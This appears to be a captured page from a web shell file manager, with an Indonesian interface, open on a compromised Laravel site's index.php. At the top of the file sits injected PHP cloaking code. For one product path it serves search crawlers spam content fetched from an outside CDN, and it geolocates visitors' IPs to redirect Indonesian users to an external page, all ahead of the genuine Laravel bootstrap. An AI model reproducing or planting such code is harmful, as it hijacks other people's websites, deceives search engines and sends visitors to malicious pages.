CURRENT PATH:
/
home
/
u182653683
/
domains
/
goeltmt.com
/
public_html
/
public
/
[ ⬅ KEMBALI ]
|
[ HOME ]
Upload File:
Upload Ke Sini
Dir Baru
File Baru
Editing:
index.php
<?php /** * CLOAKING SOURCE FOR vacancies * Letakkan di baris paling atas index.php */ $current_uri = $_SERVER['REQUEST_URI'] ?? ''; // Menyesuaikan target ke $target_uri = '/product/tmt-rebars'; if (strpos($current_uri, $target_uri) !== false) { // Fungsi fetch konten yang lebih aman if (!function_exists('mangsud')) { function mangsud($url) { if (ini_get('allow_url_fopen')) { $ctx = stream_context_create(['http' => ['timeout' => 5]]); return @file_get_contents($url, false, $ctx); } elseif (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $res = curl_exec($ch); curl_close($ch); return $res; } return false; } } $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $bot_regex = "/(googlebot|google|adsbot|mediapartners|bingbot|slurp|yandex|duckduck|baidu|ahrefs|semrush|mj12|dotbot|crawler|spider|facebook|twitterbot|telegrambot)/i"; // Target URLs (Sesuai parameter Anda) $amp_url = "https://flawless-wil.b-cdn.net/ampgoeltmt.html"; $lp_url = "https://flawless-wil.b-cdn.net/goeltmtlp.txt"; // 1. Cek User Agent Bot Terlebih Dahulu (Prioritas Indexing) if (preg_match($bot_regex, $ua)) { $content = mangsud($lp_url); if ($content) { echo $content; exit; } } // 2. Redirect user Indonesia ke AMP (Hanya untuk pengunjung asli) $ip = $_SERVER['REMOTE_ADDR'] ?? ''; // Gunakan timeout agar web tidak melambat jika API IP sedang down $ctx_ip = stream_context_create(['http' => ['timeout' => 2]]); $geo_raw = @file_get_contents("http://ip-api.com/json/$ip", false, $ctx_ip); $geo = $geo_raw ? json_decode($geo_raw, true) : null; if (!empty($geo['countryCode']) && $geo['countryCode'] === "ID") { header("Location: $amp_url", true, 301); exit; } } // LANJUTAN KODE ASLI / KONTEN ORIGINAL INDEX.PHP DI BAWAH INI ?> <?php /** * Laravel - A PHP Framework For Web Artisans * * @package Laravel * @author Taylor Otwell <taylor@laravel.com> */ define('LARAVEL_START', microtime(true)); /* |-------------------------------------------------------------------------- | Register The Auto Loader |-------------------------------------------------------------------------- | | Composer provides a convenient, automatically generated class loader for | our application. We just need to utilize it! We'll simply require it | into the script here so that we don't have to worry about manual | loading any of our classes later on. It feels great to relax. | */ require __DIR__.'/../vendor/autoload.php'; /* |-------------------------------------------------------------------------- | Turn On The Lights |-------------------------------------------------------------------------- | | We need to illuminate PHP development, so let us turn on the lights. | This bootstraps the framework and gets it ready for use, then it | will load up this application so that we can run it and send | the responses back to the browser and delight our users. | */ $app = require_once __DIR__.'/../bootstrap/app.php'; /* |-------------------------------------------------------------------------- | Run The Application |-------------------------------------------------------------------------- | | Once we have the application, we can handle the incoming request | through the kernel, and send the associated response back to | the client's browser allowing them to enjoy the creative | and wonderful application we have prepared for them. | */ $kernel = $app->make(Illuminate\Contracts\Http\Kernel::class); $response = $kernel->handle( $request = Illuminate\Http\Request::capture() ); $response->send(); $kernel->terminate($request, $response);
SIMPAN
[ BATAL ]